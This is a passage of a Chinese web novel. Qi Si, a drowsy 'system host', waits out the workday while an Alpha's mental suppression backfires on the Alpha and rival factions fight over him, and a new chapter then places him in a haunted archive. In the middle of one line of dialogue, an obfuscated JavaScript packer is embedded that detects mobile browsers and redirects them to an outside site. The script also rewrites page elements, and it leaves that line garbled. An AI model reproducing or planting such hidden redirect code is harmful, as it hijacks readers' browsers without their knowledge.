不想再被这么多摄像头对着。 但他没有站起来。 也没有提出任何要求。 他只是继续坐着,像一个等下班的普通人。 外面的世界却已经开始系统性塌陷。 科研机构内部的通讯频道里,信息像雪崩一样刷屏。 【——现有ABO信息素理论需要重写。】 【——异常个体对Omega信息素反应的“屏蔽效应”需要独立建模。】 【——建议成立“异常个体研究中心”,直接向最高科研委员会汇报。】 军方内部的加密频道里,同样乱成一团。 【——高阶Alpha精神压制失败,发生严重反噬,精神域损伤评估中。】 【——异常个体对现有战力体系构成未知影响,建议列为最高机密。】 【——建议将异常个体纳入军方保护/控制范围,禁止其他机构单独接触。】 资本方的高层会议室里,几块巨大的全息屏幕同时亮着。 股价曲线、风险评估模型、资产组合图、ABO等级溢价表…… 所有图表都在这一刻变得毫无意义。 “如果信息素等级不再是绝对的控制手段,我们所有基于等级差构建的合同约束都会失效。” “婚配市场会崩。” “高阶Alpha的溢价会崩。” “Omega的保险模型会崩。” “——整个社会的等级秩序会崩。” 有人捂着额头,手指用力到发白。 “除非,我们能把这个异常个体纳入我们的体系。” “你是说——资产化?” “是。无论是以研究成果的形式,还是以某种‘服务’的形式。” “军方不会同意。” “科研机构也不会放手。” “那就抢。”有人冷冷地说,“谁先拿到第一手数据,谁就有资格重写规则。” 三方的视线,再一次在不同的空间里,落在同一个人身上。 观察室里,齐司打了个更小的哈欠。 他抬手,按了按自己的眼角。 动作很慢,很懒。 系统在脑海里弹出提示。 【科研、军方、资本三方对宿主研究权限争夺:同步启动。】 【外界混乱指数:87%。】 【宿主参与度:0。】 【任务进度:73%。】 离下班,还有一小时零五分钟。 走廊尽头的合金门被人从外面一把推开,门板撞在限位器上,发出一声闷响。 高阶Alpha先到。 他穿着深色军装,肩章上银线密布,军靴踩在抛光地面上,皮革摩擦声在安静的走廊里被无限放大。每一步都稳、重、有节奏,像是在无形地敲打别人的心跳。 走廊顶上的灯是冷白色的,嵌在金属网格里,光线被过滤得极为干净,照在他侧脸上,把骨骼线条勾得锋利。胸口的军牌随着步伐轻微晃动,和腰间配枪的金属扣一起,发出细碎的碰撞声。 他走到观察室外,抬手,手背在门禁上方一刷。 红色的“禁止进入”提示闪了一下,瞬间熄灭,取而代之的是绿色的通行灯。 门锁解开时,内部机械结构转动的声音清晰可闻。 齐司坐在里面。 他还是那副姿态,靠在椅背上,椅子是那种为了方便固定受试者而设计的半包裹式结构,金属骨架外包着一层浅灰色的软垫。灯光从上方斜斜落下,打在他侧脸上,睫毛在眼下投出一小片影子。 他刚按完眼角,手还没完全放下,指尖在半空中停了一瞬,像是懒得再动。 高阶Alpha推门进来。 门后是一个缓冲小间,透明隔板把内外分开。隔板上贴着一整排红色的警示标识:高浓度信息素区、仅限授权人员、精神域干扰风险。 他站在隔板前,居高临下地看进去。 齐司抬眼,看了他一眼。 视线接触的瞬间,高阶Alpha的精神域像是被什么东西轻轻拨了一下。 不是挑衅,不是对抗,更不像是同级别的压制。 是——空白。 他下意识皱了一下眉。 “开启内层门。”他对着空气说。 天花板角落里的摄像头轻微转动,红点亮了一下,随后,内层门的锁扣发出咔哒一声。 观察室的空气被重新校准,通风系统发出低沉的运转声,过滤器里的风扇开始加速,带出一股淡淡的消毒水味。 门开了。 高阶Alpha迈进去。 他身后的门在自动闭合,厚重的门板缓慢滑回原位,橡胶密封条被挤压出一圈细微的形变,最后贴合,隔绝了外面的声音。 室内只剩下空调的低鸣和仪器偶尔跳动的指示灯声。 齐司没动。 他只是把手放回椅子的扶手上,指尖轻轻敲了一下,像是在算时间。 离下班,还有一小时零三分钟。 高阶Alpha走到他面前,停下。 两人之间的距离被精确地控制在一米以内——这个距离,在任何一个ABO世界里,对Omega来说都是危险距离,对Alpha来说则是压制距离。 他抬手,解开自己军装领口最上面的扣子。 喉结在灯光下轻轻滚动了一下。 “精神域限制解除。”他低声说。 这句话不是对齐司说的,而是对着自己耳后的植入式终端。 耳后那一小块皮肤下,金属模块轻微震动,发出一声几乎听不见的嗡鸣。 下一秒,空气变了。 无形的精神力像是被从某个高压容器里释放出来,瞬间铺开。 那是一种极具侵略性的存在感。 如果有仪器能捕捉到精神域的形态,现在屏幕上应该会出现一整片密集的光点,像是风暴中心的雷云,层层叠叠,向外扩散。 但这里没有那种仪器。 他们只看得到结果。 高阶Alpha的视线锁在齐司身上,精神力毫无保留地朝他压过去。 那种压制不是肉眼可见的,却能在身体里形成一种本能的错觉——像是空气突然变重,像是有一只看不见的手按在后颈,逼迫人低头。 旁边的监控室里,几块大屏幕同时切换到精神域干扰预警界面。 红色的波形线从中轴线上猛地抬升,像是被人一把拽起来。 “精神输出百分之八十……百分之九十……他在全开。”技术员的声音有点发干。 “目标个体生理参数?”有人问。 “心率——七十二,血压正常,脑电波无异常,激素水平稳定。”另一个人盯着数据,声音里带着不敢置信,“没有任何应激反应。” “怎么可能?” 监控室的灯光是偏暖的黄色,和观察室里冷白的光形成鲜明对比。屏幕上的蓝色曲线在暖光下显得格外刺眼。 所有人的视线都集中在一块屏幕上——那是齐司的实时监控。 他坐在那里,肩膀线条放松,呼吸平稳,眼皮甚至有点困倦。 像是开会开到一半被人打断午睡。 观察室内,高阶Alpha的精神力已经压到极致。 他能感觉到自己的精神域在扩张,像是一张被撑到极限的网,覆盖了整个房间。 但那张网下——空无一物。 没有Omega特有的柔软波动,没有Beta的钝感,更没有Alpha之间那种本能的对抗和摩擦。 他面前的人,就像不存在于这个体系里。 精神力扑过去,像是扑进了一片真空。 没有反馈。 没有阻力。 没有任何可以抓住的点。 高阶Alpha的眉头皱得更紧了。 他加大输出。 精神域边缘开始出现轻微的撕裂感,那是高强度使用带来的负荷预警。耳后植入模块发出一声短促的警告音,像是玻璃被指甲划过。 “警告:精神负荷达到危险阈值。”机械音在他脑内响起。 他无视。 精神力继续往外推。 监控室里的波形线已经顶到屏幕上沿,报警系统连续闪烁,红灯一下一下地跳,照得所有人的脸都带着一层不正常的红色。 “他疯了?!”有科研人员忍不住骂出声,“全开对一个Omega?!” “那不是普通Omega。”有人咬牙,“那是异常个体。” “异常个体也不至于——” 话没说完,屏幕上的另一组数据突然跳动。 不是齐司。 是高阶Alpha。 “精神域反向波动?!”技术员猛地站起来,椅子在地上滑出一声刺耳的摩擦声,“这是什么鬼?!” 精神域的图像上,原本向外扩散的光点开始往回收缩,像是被什么东西从中心拽回去。 那不是正常的回收。 更像是——反噬。 高阶Alpha的呼吸在那一瞬间乱了一下。 胸腔里像是被人从内部猛地捏了一把,精神力的每一根“线”都在同时被拉扯,疼痛从精神层面直接反馈到□□上,变成一种极其真实的钝痛。 他眼前的视线轻微一晃。 耳边的声音变得有点远。 齐司抬眼,看着他。 那一眼没有任何情绪。 没有同情,没有惊讶,也没有对强者的本能畏惧。 只是单纯的——看了一眼。 像是在看一个突然在自己桌边晃了一圈的路人。 高阶Alpha的精神域在这一刻彻底失控。 所有向外释放的精神力像是找不到落点,开始自我缠绕,互相挤压,最后全部朝他自己的精神核心反弹。 监控室里,警报声从红色变成了刺耳的白噪音。 “精神域崩溃前兆!快切断他的输出!”有人喊。 “切不断!他锁死了权限!”技术员的手在控制台上飞快操作,指尖敲击键盘的声音和警报声混在一起,“他在强制维持全开状态——” “他疯了!他这是在自杀!” 观察室里,高阶Alpha的膝盖微微一弯。 那是身体本能对剧痛的反应。 他咬紧牙关,喉结剧烈滚动,额角青筋一根一根地浮出来,汗水在短短几秒内从发根渗出,顺着鬓角往下流,打湿了军装的领口。 空气里有一股极淡的铁锈味。 那是精神域反噬时,毛细血管破裂带来的味道。 齐司往后靠了靠。 椅背发出一声轻微的吱呀声。 他抬手,按了一下自己耳边的通讯器。 “你们的——”他顿了一下,像是在找一个合适的词,“——测试,结束了吗?” 声音不高,却在安静的房间里格外清晰。 高阶Alpha的视线从他脸上移开,落在地面上某一点,像是要靠固定视线来维持最后一点平衡。 他张了张嘴,喉咙里发出一声低哑的喘息。 下一秒,他的精神域彻底崩溃。 不是那种轰然炸开的戏剧性场面,而是极其安静的——断裂。 像是一根被拉得太紧的弦,在某个看不见的地方啪地一声断掉。 他的身体先是僵了一瞬,然后整个人像是被抽空了力气,膝盖一软,单膝跪在地上。 手撑在地面上,指节发白。 军靴的鞋底和地板摩擦出一声闷响。 他大口喘气,胸腔剧烈起伏,额头上的汗水一滴一滴落在地上,很快在光滑的地面上砸出几个小小的水点。 监控室里,一片死寂。 所有人都看着屏幕上那一幕。 高阶Alpha——精神力等级S+、军方重点战力、无数次在战场上靠精神压制扭转局势的存在——跪在一个Omega面前。 而那个Omega,坐在椅子上,姿势放松,表情平静。 “……精神反噬。”有人喉结滚动了一下,声音发干,“他被自己的精神域反噬了。” “怎么会反噬?!”另一个人几乎是吼出来,“对面根本没有精神域反馈!没有对抗!没有压制!他是在对着空气全开!” “所以才反噬。”角落里,一个年纪偏大的研究员低声说,“精神力需要对象,需要落点。长时间高强度对着真空释放,只会——回到自己身上。” “可这不符合任何已知模型!”有人抓着头发,眼睛里全是血丝,“Alpha的精神域在Omega面前不可能找不到落点!这是体系设定!这是基础规则!” “那你去告诉他。”年长研究员指了指屏幕,“告诉他,他现在跪的不是一个人,是你们写错的规则。” 没人说话。 观察室里,齐司看了看地上的人,又看了看墙上的时钟。 离下班,还有五十九分钟。 他有点困。 他抬手,按了按太阳穴。 动作很轻,像是在压一压刚刚被打断的瞌睡。 系统在脑海里弹出提示。 【高阶Alpha对宿主精神压制:失败。】 【施压方精神域反噬:完成。】 【外界震惊指数:92%。】 【宿主参与度:0。】 【任务进度:78%。】 【建议:继续保持。】 齐司“嗯”了一声,没说话。 他本来也没打算说话。 门外的走廊里,脚步声急促地响起来。 这次不是一个人。 是一群人。 白大褂的摩擦声、皮鞋敲击地面的节奏、远处轮椅推过来的吱呀声,混在一起,像是一段杂乱无章的打击乐。 门禁灯连续闪烁,系统被多方权限同时调用,短暂卡顿了一下,像是被人从三个方向同时拉扯。 “科研部优先!” “军方紧急权限!” “资本方A级通行!” 三种不同的声音几乎同时响起。 门禁系统的逻辑模块在短短一秒内经历了数十次权限判断,最后——全部通过。 门锁被暴力解锁,内部机械结构发出一连串不正常的咔咔声。 门被推开。 一股混乱的气流涌进来,带着外面走廊里的各种味道——咖啡、消毒水、纸张油墨、还有Omega信息素残留的甜味和Alpha信息素的辛辣。 但这些味道在进入观察室的瞬间,像是被什么东西压了一下。 不是被另一种更强的信息素覆盖。 而是——被抹平。 像是有一层看不见的滤网,把所有信息素相关的波动全部截断,只剩下最基础的气味。 走在最前面的,是一群穿白大褂的。 他们胸前的工牌在灯光下反光,名字、编号、所属部门一目了然。有人头发乱糟糟的,像是刚从实验室里被人拽出来,有人眼镜滑到鼻尖,呼吸有点急。 他们一进门,视线就本能地往地上那个人身上扫了一眼。 高阶Alpha单膝跪地,另一条腿支撑着,姿势勉强维持着最后一点体面,但额头上的汗和微微发抖的手指,暴露了他的状态。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939306|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先把他抬出去。”有医生反应过来。 “等等。”另一个人伸手拦了一下,目光却死死盯着齐司,“先确认异常个体的状态。” “他很稳定。”一个声音从门口传来。 是资本方的人。 西装笔挺,领带打得一丝不苟,袖口的金属扣在灯光下闪着冷光。他手里拿着一台平板,屏幕上是齐司的实时数据——心率、血压、脑电、激素水平,全都在正常范围内。 “比我们任何一个人都稳定。”他补了一句。 科研人员的视线同时转向齐司。 他们像是突然想起来,这个房间里真正的“异常”,不是那个跪在地上的高阶Alpha,而是坐在椅子上的Omega。 “靠近他。”有人低声说。 一个年轻的Omega护士被推了出来。 她穿着浅蓝色的医用服,袖口有一点被消毒水浸过的痕迹,头发扎成一个简单的马尾,耳后是Omega特有的腺体位置,皮肤在灯光下有一点紧张的泛红。 “我?”她愣了一下,下意识往后退半步。 “你的信息素等级是标准中等,最适合做对照。”科研人员快速解释,“放心,我们不会让你进入危险距离,只是——靠近。” “有军方在。”资本方的人补了一句,语气平静,“还有我们。” 军方代表站在一旁,脸色很冷,目光却一直盯着齐司。 护士咬了咬唇,点头。 她往前走。 每一步都很小,鞋底在地板上发出轻微的摩擦声。 空气里的味道在她靠近的过程中发生了变化。 她自己的信息素开始不受控制地往外溢。 那是一种偏甜的花香味,带着一点点奶味,属于典型的治愈系Omega类型。平时这种味道一旦扩散,周围的Alpha和Beta都会有不同程度的反应——Alpha会本能兴奋,Beta会放松,Omega自己则会进入轻微的亢奋状态。 但现在—— 她走到齐司面前,停下。 两人之间的距离,不到半米。 这是任何一个Omega都会本能紧张的距离。 她的呼吸不自觉地快了一点,心跳也加快。 她能感觉到自己的腺体在发热,信息素在往外涌。 但—— 没有反馈。 没有那种被Alpha注视时的被锁定感,没有Beta那种模糊的安全感,也没有Omega之间那种微妙的共振。 对面的人身上,什么都没有。 不是信息素很弱,不是被抑制剂压住。 是——完全没有。 像是一个没有被标记的空白区域。 她愣住了。 “你……闻到什么吗?”科研人员在一旁紧张地问。 “没有。”她下意识回答。 “他的信息素呢?”另一个人追问,“任何类型,任何强度,哪怕是极低浓度的波动?” “没有。”她摇头,声音有点发虚,“什么都没有。” “你再靠近一点。”有人说。 她犹豫了一下,又往前挪了半步。 这次,两人之间的距离几乎可以算是“贴近”。 她能清楚地看到齐司睫毛的长度,看到他眼角那一点点没睡够的红。 她的腺体已经热得发烫,信息素疯狂往外冲。 但对面——依旧是空白。 她的身体开始出现一种极其诡异的错位感。 信息素在释放,身体在本能地进入“接触模式”,大脑却迟迟收不到任何来自对方的信息素反馈。 就像是在对着一堵墙发情。 “我……有点晕。”她低声说。 “是信息素过度释放导致的短暂低血糖。”医生在一旁快速判断,“她的身体在等反馈,但对面没有,所以系统在空转。” “这不可能。”有科研人员喃喃自语,“Omega不可能对同空间的个体完全无感,除非——” “除非对方不在ABO体系内。”年长研究员接上他的话,眼睛里带着一种近乎狂热的光,“或者说,他在体系之外。” “这不是科学。”有人失声说。 “那就重写科学。”年长研究员冷冷地回。 监控室外的走廊里,更多的人聚集过来。 军方的、科研的、资本的,胸牌颜色各不相同,代表着不同的权限等级和利益归属。 他们挤在观察窗前,隔着一层强化玻璃,看着里面的场景。 玻璃上很快被呼吸的雾气模糊了一片又一片。 有人用手背擦了一下,又继续贴上去。 “他的信息素检测结果出来了吗?”有人问。 “没有结果。”技术员的声音从对讲机里传来,“所有探头显示——空值。” “空值?!”走廊里一片哗然。 “是设备坏了还是——” “我们已经换了三套不同厂商的设备。”技术员咬牙,“包括军方的高精度型号和资本方刚送来的最新一代便携式检测器,结果都一样。” “那就是你们的算法有问题。”资本方的人冷冷插话,“我们自己的设备在其他场合从未出错。” “算法是根据现有信息素理论建立的。”科研人员反击,“如果理论本身不适用于这个个体,算法当然会报错。” “你是在说,我们几十年的信息素理论都是错的?”军方代表的声音很低,却带着一种危险的压迫感。 “我是在说——”年长研究员抬头,目光穿过玻璃,落在齐司身上,“——它们不再适用于所有人。” 走廊里短暂安静了一秒。 然后,更多的声音涌上来。 “如果信息素理论不再是绝对规则,那我们的等级制度——” “Alpha的统治基础就是精神力和信息素压制,如果这两点都在他身上失效——” “那Omega的保护制度也会被质疑,资本对Omega的定价模型会崩——” “军方的战力评估体系也要重写,高阶Alpha的精神压制如果不是绝对优势,那战场策略——” 每一个“如果”,都像是在整个世界的地基上敲了一锤。 齐司坐在椅子上,听着外面隐约传来的嘈杂。 隔音系统做得很好,外面的声音被过滤掉大半,只剩下模糊的音节和节奏。 他听不清内容。 也不想听清。 他只是抬手,看了一眼手腕上的时间。 离下班,还有五十五分钟。 系统在脑海里更新数据。 【科研方对宿主异常信息素现象:初步确认。】 【医学界理论体系:崩溃进度 23%。】 【军方、科研、资本三方对宿主研究权限:同步争夺中。】 【当前状态:多方拉扯,规则失衡。】 【宿主参与度:0。】 【任务进度:81%。】 【提示:请继续保持“不参与、不理会、不拒绝、不负责”模式。】 齐司“哦”了一声。 他本来也没打算参与。 门口的争执声开始变得具体。 “他必须先交给我们。”科研方的人把工牌往上一推,露出上面的红色标识,“这是科学问题,必须在可控环境下进行系统研究。” “可控环境?”军方代表冷笑,“你们的‘可控环境’刚刚差点让一个高阶Alpha精神崩溃。” “那是他自己的问题。”科研人员反驳,“我们需要的是数据,而不是你们的面子。” “数据可以共享。”资本方的人适时开口,语气平静,“前提是,主体的资产归属要先确定。” “你们想把他当资产?”科研人员皱眉。 “任何能重写规则的个体,都是最高价值资产。”资本方的人看着齐司,眼神像是在看一座还没开发的金矿,“我们可以提供最好的保护、最完善的生活条件、最高级别的医疗资源——前提是,他的研究和应用权归我们主导。” “做梦。”军方代表冷冷地说,“他刚刚让一个S+级Alpha精神反噬,这种战力潜力,必须在军方体系内。” “你们打算怎么用?”资本方的人挑眉,“当武器?你们连他的基本机制都没搞清楚,就想往战场上丢?” “这不关你的事。”军方代表的手指在腰间的枪套上轻轻敲了一下,动作不大,却带着一种不容置疑的威胁。 “别在这里玩你们的暴力美学。”科研方的人烦躁地说,“我们现在讨论的是——谁有资格定义新的信息素理论。” “定义理论的是掌握资源的人。”资本方的人笑了一下,“而资源,向来跟钱走。” “也跟枪走。”军方代表冷冷补了一句。 三方的视线,再一次在玻璃后的人身上汇聚。 齐司打了个更小的哈欠。 他往椅子里缩了缩,换了个更舒服的姿势。 灯光从上方落下来,照在他脸上,把他眼下那一点淡淡的青色勾得更明显——那是没睡够的痕迹。 他看起来,像是被加班困住的普通上班族。 而不是让整个世界规则开始塌陷的异常点。 系统在脑海里弹出一行小字。 【世界等级规则:系统性塌陷进度 19%。】 【表现形式:】 【1. 高阶Alpha精神压制权威性:动摇。】 【2. Omega脆弱/依附设定:被质疑。】 【3. 信息素检测与分级制度:可信度下降。】 【4. 资本对不同性别二次定价模型:开始失效。】 【5. 军方战力评估体系:出现不可量化变量。】 【预计:混乱指数将持续上升。】 【建议:宿主继续保持当前状态。】 齐司看了一眼那一长串提示。 没什么感觉。 他只是又看了一眼时间。 离下班,还有五十三分钟。 6. 第 6 章 齐司眼前一黑。 上一世界的血腥和火光被系统生硬切断,任务结算的机械提示音还在耳膜里嗡嗡作响:“本轮世界任务完成。积分结算中——传送即将开始。” 然后就是失重、下坠、耳鸣,像被人从高楼一脚踹下去,又在半空中被一只看不见的手拎住后颈,往另一个方向一扔。 “——叮。” 落地的声音很轻,是椅子脚在地砖上被拖动的那种闷响。 潮气先扑过来,冷得像从海底爬上来的手。空气里混着纸张发霉的酸味、老旧油墨的苦味,还有一丝说不清的腥甜,好像谁在角落里藏了一桶泡了太久的东西。 齐司眨了下眼。 头顶是一排吊着的灯泡,玻璃壳发黄,钨丝细得像快断掉的蜘蛛腿。灯光忽明忽暗,闪烁时,天花板上的水渍斑斑点点,像一只只摊开的灰白眼睛,干裂的水痕沿着缝隙蜿蜒下来,停在墙角一排铁皮档案柜上。 档案室很长,长到尽头被阴影吞掉,看不清墙。两侧一列列铁柜挤得密不透风,柜门漆皮起泡脱落,露出里面被潮气咬花的金属。每当灯泡闪一下,柜门缝里就像有影子在往里缩,纸张轻微摩擦的沙沙声从不同方向传来,又被高高的穹顶弹回,变成一串不合逻辑的回声——像有人在远处低语,却永远听不清内容。 脚下的地砖冰凉,缝隙里积着没干透的水,踩上去会发出极轻的“啧”声。角落里有一滩水渍,形状古怪,边缘拖出细长的触须状纹路,顺着地面爬到墙上,像是某种东西曾经在这里趴伏过,又被人粗暴地拖走,只剩下一圈暗色轮廓。 几张办公桌散落在档案柜之间,木头被潮气泡得发软,桌角裂开,裂缝里长出细白的霉菌,像一排排细小的牙。 最近的一张桌子后面,有人正弓着背坐着。那是齐司在这个世界的工位。 他低头看了眼自己身上的证件卡——“联邦调查局·后勤档案科·文职助理·齐司”。岗位职责简单明了:整理案卷、盖章、递表。 很好,纯划水岗位。 他抬头,余光扫过不远处的同事们。 离门最近的那位,眼圈青得像被人一拳砸过,眼白里布满红血丝,手指不停抖动,在一张表格的空白处密密麻麻写着什么。那不是字,更像是某种扭曲的符号,一圈圈交叠,线条细长,像是从某种生物身上剥下来的筋被硬生生拉直,强行按在纸上。 另一个同事靠在椅背上,眼睛睁着却没焦点,嘴里含糊地念叨:“它们在看……在看……别看回去……别——”声音忽高忽低,像被水泡过的录音带。 更远处,有人捧着一摞档案,指节发白,嘴唇干裂,眼下青黑得骇人。那人抬头看了齐司一眼,眼神里闪过一瞬复杂的东西——像是求救,又像是把什么沉重的东西往他身上推。 齐司没接。 他只是走到自己的桌子前,椅子往后一拉,坐下,顺手把桌上的一摞文件往旁边一推,给自己空出一块刚好能趴着打盹的地方。 灯泡又闪了一下。 他随手拉开桌边的文件抽屉,准备把证件卡丢进去。抽屉里塞满了卷宗,纸张边缘被潮气泡得起毛,颜色发灰。最底下的那一叠纸微微鼓起,像下面有什么东西在缓慢蠕动,鼓起、塌下,再鼓起,带着黏腻的节奏。 纸堆间隙里,有一条细长的暗影轻轻抽动了一下,像一截没长眼睛的尾巴。 齐司看了一眼。 灯光正好又闪了两下,影子被拉长、压扁,变形得像是灯丝在抽风。他脑子里很自然地给出了结论:老楼电路问题,灯光晃得眼花,看错了。 他把证件卡随手一丢,啪的一声砸在那一叠鼓起的卷宗上,抽屉一推,关上。 抽屉里传来一声极轻的“咯吱”,像什么软的东西被压扁,又慢慢恢复原状。 他没听见,或者说,听见了也没往那方面想。 齐司往椅背上一靠,伸手把桌上的公章往旁边一挪,挪到刚好可以当手托的位置,另一只手随意翻开最上面的一份案卷,目光扫过上面密密麻麻的记录、涂抹掉的名字、被墨水糊住的照片。 纸张上有一块水渍,形状像一只张开的手掌,中间有几道裂开的纹路,勉强能看出一个诡异的笑脸轮廓。 他眼皮一抬一落,略过。 脑子里自动把那些不舒服的细节打了马赛克,只留下“今天要坐满八小时”的简单结论。 档案室深处传来一阵不合时宜的笑声,紧接着是纸张被撕裂的尖锐声和椅子倒地的砰响。有人压抑着哭腔喊了一句什么,声音被高高的穹顶弹回来,变形成一串模糊的低语,像从水底传上来的。 齐司把那一页往后一翻,手指按在空白处,心里只剩一个念头:先摸鱼,等下再看要不要盖章。 他把椅背往后一仰,屁股往前滑了两厘米,找到一个可以半躺的角度,手里那份案卷顺势搭在肚子上。 笑声和哭腔在穹顶下绕了两圈,渐渐变成一种黏糊糊的嗡鸣,像老旧空调的压缩机在勉强运转。纸张撕裂的声音断断续续,夹着指甲抓挠木板的刮擦,听起来像有人在墙里面挖东西。 他抬眼看了一下时间。 离下班还有四个小时零三十七分钟。 “……齐、齐司?” 声音从书架缝隙里钻出来,带着一股被灰尘呛到的干涩。紧接着,一个人影踉跄着撞到他这排书架上,震得一整列档案盒“哗啦啦”抖了一下。 是对面组的记录员,姓周,三十多岁,眼睛红得像熬了三天夜,瞳孔却缩成针尖大小。他的衬衫前襟被墨水和不明液体糊了一片,袖口上有几道指甲抓出的血痕。 周记录员扶着书架,呼吸急促,喉咙里发出“咯咯”的声音,像被什么东西堵住了一样。他努力咽了几口唾沫,才把话挤出来:“你、你在这儿……太好了……” 齐司“嗯”了一声,算是回应,手指还搭在那页案卷的空白处,慢悠悠往下一滑,像是在翻邮件。 “我、我看到了……”周记录员的视线越过他肩膀,盯着他面前那一摞案卷,眼白里爬满了细密的血丝,“它们在纸缝里……在字下面……在照片后面……它们在看我……” 他声音越来越尖,最后几个字几乎是挤着气音喊出来的,指节发白地抓住档案盒的边缘,指甲咯吱咯吱地刮着纸板。 齐司顺手把案卷往里推了两厘米,免得被对方抓到。 “你能听见吗?”周记录员忽然凑近,眼睛死死盯着齐司的脸,鼻尖几乎要碰到他,“它们在说话,在耳朵后面,在牙缝里,在——” 他的话戛然而止。 像是被什么无形的东西掐住了喉咙。 档案室的空气忽然一静,远处那些撕纸、椅子倒地的声音像被人按了暂停键,只剩下穹顶上某个角落滴水的“滴答”声,极其清晰地落在每一秒上。 “——在说什么?”齐司问了一句,语气平平,像是例行公事地接话。 周记录员的嘴唇开合了几下,发不出声音。他的耳朵里慢慢渗出一缕黑色的液体,顺着耳廓往下爬,滴在地上,溅起一朵极小的墨色花。 那液体落地的瞬间,空气里似乎有一阵极短的波动,像是某种频率被调高又迅速调低。 齐司的脑子里“嗡”了一下。 下一秒,那股“嗡”的源头被自动归类为“环境噪音”,和空调、打印机、楼上拖椅子的声音一起被打了静音。 他只听见自己的心跳,平稳、缓慢,和墙上时钟的秒针声重叠在一起。 “它们在……在叫我的名字……”周记录员终于挤出一点声音,喉结剧烈滚动,“在说‘看这边’、‘看这边’……我一看,它们就往里钻……钻到眼睛后面……” 他抬手去抠自己的眼眶,指甲在眼皮上刮出红痕。 齐司往旁边挪了一点,给他腾出抠眼睛的空间,顺手把桌上的印章往里推了推,免得被血溅到。 “你、你不听见吗?”周记录员忽然又抬头,眼神里带着一种近乎绝望的渴求,“它们在你背后,在你头顶,在你脚下……在每一页纸里……你、你怎么还能坐着?” 齐司想了想:“习惯了。” 周记录员愣了一下,像是被这两个字打断了什么崩溃的节奏,整个人呆了两秒。 那两秒里,他耳朵里流出的黑色液体忽然停了一瞬,随后像被什么力量猛地一拽,倒流回去,硬生生缩回耳道里。 空气里某种看不见的触须在这一瞬间抽搐了一下。 那触须原本正沿着周记录员的肩膀往齐司这边探,像一条细长的影子,在光线照不到的缝隙里蠕动。它伸到离齐司肩膀还有半寸的地方,忽然像撞上了一堵透明的墙。 没有反弹,没有破碎,只是——滑过去了。 像水流遇到一块完全不被感知的石头,自动绕开。 那条影子触须在空中拐了个极不自然的弯,硬生生扭向一旁的书架,钻进一本半抽出来的案卷缝隙里。 书架轻微地抖了一下,某个档案盒自己往外弹了两厘米,露出里面一叠被黑墨浸透的手稿。 齐司没看见那触须,只看见档案盒往外弹了一点。 他伸手,把那盒子推回去,顺手抽出了最上面那叠手稿。 纸张摸上去有点潮,边缘发硬,墨水在上面结成一层薄薄的壳,指腹划过时会发出细微的“咔嚓”声。 手稿上的字不是正常的字母,而是一串串扭曲的线条,像是有人用指甲在湿泥上乱划,线条之间夹着一些不成形的圆圈和眼睛状的符号。 有几处墨迹特别浓,黑得发亮,像还没干透。 他目光从上到下扫了一遍。 脑子里自动弹出一句总结:内容冗长,结构混乱,无关本职工作。 那些线条在他视网膜上轻微蠕动了一下,试图拼成某种更深层的图案,像是要从二维纸面钻进三维空间,再往更深的维度滑。 刚蠕动到一半,他的大脑某个模块“啪”地关上了门。 那一整页在他眼里变成了“已读未回复”的普通文档,和早上领导群发的“本周工作要点”处于同一优先级。 他翻到下一页。 周记录员的呼吸声在旁边断断续续,像坏掉的风箱。他的眼珠子在眼眶里乱转,似乎在追逐什么只有他自己能看见的东西,手指在空中抓来抓去,指尖划过齐司的肩膀,却像抓空了一团雾。 “你、你在看什么?”他哑着嗓子问。 “文件。”齐司说。 “那、那上面……”周记录员的声音忽然变得极轻,像是怕被什么听见,“它在动,对不对?它在、在往外爬……” 齐司“哦”了一声,翻页的动作没停:“没注意。” 他确实没注意。 那一页纸上的墨迹在某个角度下确实像是有一只眼睛缓慢睁开,瞳孔里映出一片翻涌的深海,海水里漂浮着无数断裂的肢体和城市的残骸。那只眼睛试图和他的视线对上,一旦对上,就会顺着视线往里钻,钻进大脑的缝隙,扎根,发芽,长出一整片疯癫的森林。 它刚抬起眼皮,就对上了一片——空白。 不是“无视”的那种空白,而是“接口不存在”的那种空白。 就像一串复杂的信号试图接入一台没有安装对应解码器的机器,连“错误”提示都弹不出来。 那只眼睛愣了一下。 深海里的浪花停在半空,断肢和城市残骸悬在那里,像被人按了暂停键。 下一秒,那只眼睛开始疯狂往外翻涌,试图加大信号强度,墨迹在纸上鼓起一个个小小的泡,泡里隐约有无数嘴巴在开合,发出极细微的低语。 那些低语绕过纸张,绕过空气,像一群无形的虫子,直奔齐司的耳朵。 刚靠近耳廓,就被一道看不见的“过滤网”拦住。 过滤网后面,是一片干净得近乎空旷的神经通路。 所有带有“非必要信息”的信号在那道网前自动被拦截、压缩、打包,最后被统一丢进某个标记为“垃圾”的区域。 那区域里堆满了各种东西:凌晨三点的莫名心悸、梦里看见的模糊影子、走夜路时总觉得有人跟在后面的错觉、看恐怖片时后颈发凉的感觉…… 它们都被整齐地码在一边,上面盖着一块厚厚的“无视”布。 低语虫子们撞上那块布,发出一串极短的“滋滋”声,像电流短路。 然后,它们被迫改变路径。 它们绕过齐司的耳朵,沿着空气的缝隙滑向旁边那个人——周记录员。 周记录员的耳朵里已经塞满了类似的东西,低语、影像、触须、眼睛,全都挤在一起,像一锅沸腾的黑色粥。 新的低语一涌进去,那锅粥彻底溢出来。 他忽然发出一声撕裂喉咙的惨叫,整个人往后仰,后脑勺“咚”地撞在书架上,震得上面几本厚档案掉下来,砸在他肩膀和胸口。 “别砸到文件。”齐司条件反射地伸手,接住其中一本,顺手拍了拍封面上沾到的灰。 周记录员的眼睛翻白,嘴里开始往外吐字母、符号、断断续续的单词:“深渊……门……祂……在……看……” 他吐出来的不是完整的句子,而是一段段被撕碎的咒语,夹着几个难以发音的音节,舌头在口腔里打结,发出“咔嗒咔嗒”的声响。 那些音节一落地,空气里就有一阵轻微的震动,像水面被丢进一颗颗小石子,荡开一圈圈涟漪。 涟漪扩散到齐司这边,刚碰到他,就像撞上了一块完全不导波的材料,瞬间被吸收、消散。 